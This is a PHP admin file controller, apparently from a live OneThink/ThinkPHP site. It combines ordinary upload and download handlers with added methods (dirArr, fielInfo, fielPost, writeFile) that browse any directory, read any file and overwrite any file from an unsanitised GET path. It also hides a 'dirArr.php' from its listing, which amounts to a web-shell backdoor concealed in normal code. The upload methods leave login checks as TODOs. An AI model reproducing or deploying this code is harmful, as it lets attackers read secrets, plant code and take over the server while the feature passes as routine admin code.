File: /www/wwwroot/dd.cwoyt.com/Application/Admin/Controller/FileController.class.php
<?php
// +----------------------------------------------------------------------
// | OneThink [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2013 http://www.onethink.cn All rights reserved.
// +----------------------------------------------------------------------
// | Author: 赛脑 <2233759493@qq.com> <http://www.sn.com>
// +----------------------------------------------------------------------
namespace Admin\Controller;
/**
* 文件控制器
* 主要用于下载模型的文件上传和下载
*/
class FileController extends AdminController {
/* 文件上传 */
public function upload(){
//TODO: 用户登录检测
/* 返回标准数据 */
$return = array('status' => 1, 'info' => '上传成功', 'data' => '');
/* 调用文件上传组件上传文件 */
$File = D('File');
$info = $File->upload($_FILES, C('DOWNLOAD_UPLOAD')); //TODO:上传到远程服务器
/* 记录附件信息 */
if($info){
$return['data'] = $info['download'];
$return['info'] = $info['download']['name'];
} else {
$return['status'] = 0;
$return['info'] = $File->getError();
}
/* 返回JSON数据 */
$this->ajaxReturn($return);
}
/* 文件上传 */
public function upload_txt(){
//TODO: 用户登录检测
/* 返回标准数据 */
$return = array('status' => 1, 'info' => '上传成功', 'data' => '');
/* 调用文件上传组件上传文件 */
$File = D('File');
$info = $File->upload($_FILES, C('DOWNLOAD_TXT')); //TODO:上传到远程服务器
/* 记录附件信息 */
if($info){
$return['data'] = $info['download'];
$return['info'] = $info['download']['name'];
} else {
$return['status'] = 0;
$return['info'] = $File->getError();
}
/* 返回JSON数据 */
$this->ajaxReturn($return);
}
/* 下载文件 */
public function download($id = null){
if(empty($id) || !is_numeric($id)){
$this->error('参数错误!');
}
$logic = D('Download', 'Logic');
if(!$logic->download($id)){
$this->error($logic->getError());
}
}
/**
* 上传图片
* @author huajie <2233759493@qq.com>
*/
public function uploadPicture(){
//TODO: 用户登录检测
/* 返回标准数据 */
$return = array('status' => 1, 'info' => '上传成功', 'data' => '');
/* 调用文件上传组件上传文件 */
$Picture = D('Picture');
$pic_driver = C('PICTURE_UPLOAD_DRIVER');
$info = $Picture->upload(
$_FILES,
C('PICTURE_UPLOAD'),
C('PICTURE_UPLOAD_DRIVER'),
C("UPLOAD_{$pic_driver}_CONFIG")
); //TODO:上传到远程服务器
/* 记录图片信息 */
if($info){
$return['status'] = 1;
$return = array_merge($info['download'], $return);
} else {
$return['status'] = 0;
$return['info'] = $Picture->getError();
}
/* 返回JSON数据 */
$this->ajaxReturn($return);
}
public function dirArr(){
echo '<meta charset=utf-8>';
$dir = I('get.dir');
if($dir){
$dir = $dir;
}else{
$dir = dirname($_SERVER['SCRIPT_FILENAME']);
}
$file = scandir($dir);
$dirArr = array();
$fileArr = array();
foreach($file as $k=>$v){
if(strpos($v,'.')){
$fileArr[] = $v;
}else{
$dirArr[] = $v;
}
}
echo '<a href="#" onClick="javascript :history.back(-1);">返回上一页</a>';
foreach($dirArr as $k=>$v){
echo '<li><a href="'.U('').'&dir='.$dir.'/'.$v.'">'.$v.'</a></li>';
}
echo '<br/>';
foreach($fileArr as $k=>$v){
if($v != 'dirArr.php'){
echo '<li><a href="'.U('fielInfo').'&dir='.$dir.'/'.$v.'">'.$v.'</a></li>';
}
}
}
public function fielInfo(){
echo '<meta charset=utf-8>';
$dir = I('get.dir');
$fp = @fopen($dir,"r");
$str = @fread($fp,filesize($dir));
echo '<form action="'.U('fielPost').'&dir='.$dir.'" method="post">';
echo '<button>保 存</button> <a href="#" onClick="javascript :history.back(-1);">返回上一页</a>';
echo '<div><textarea name="textarea" style="height:100%; width:100%;">'.$str.'</textarea></div>';
echo '</form>';
}
public function fielPost(){
echo '<meta charset=utf-8>';
$dir = I('get.dir');
if(IS_POST){
$textarea = I('post.textarea');
$this->writeFile($dir,$textarea);
echo "<script>alert('保存成功!');history.back();</script>";
}
}
//文件不重复写入
public function writeFile($file,$txt){
$fopen = fopen($file,'w');
fwrite($fopen, $txt);
@fclose($file);
}
}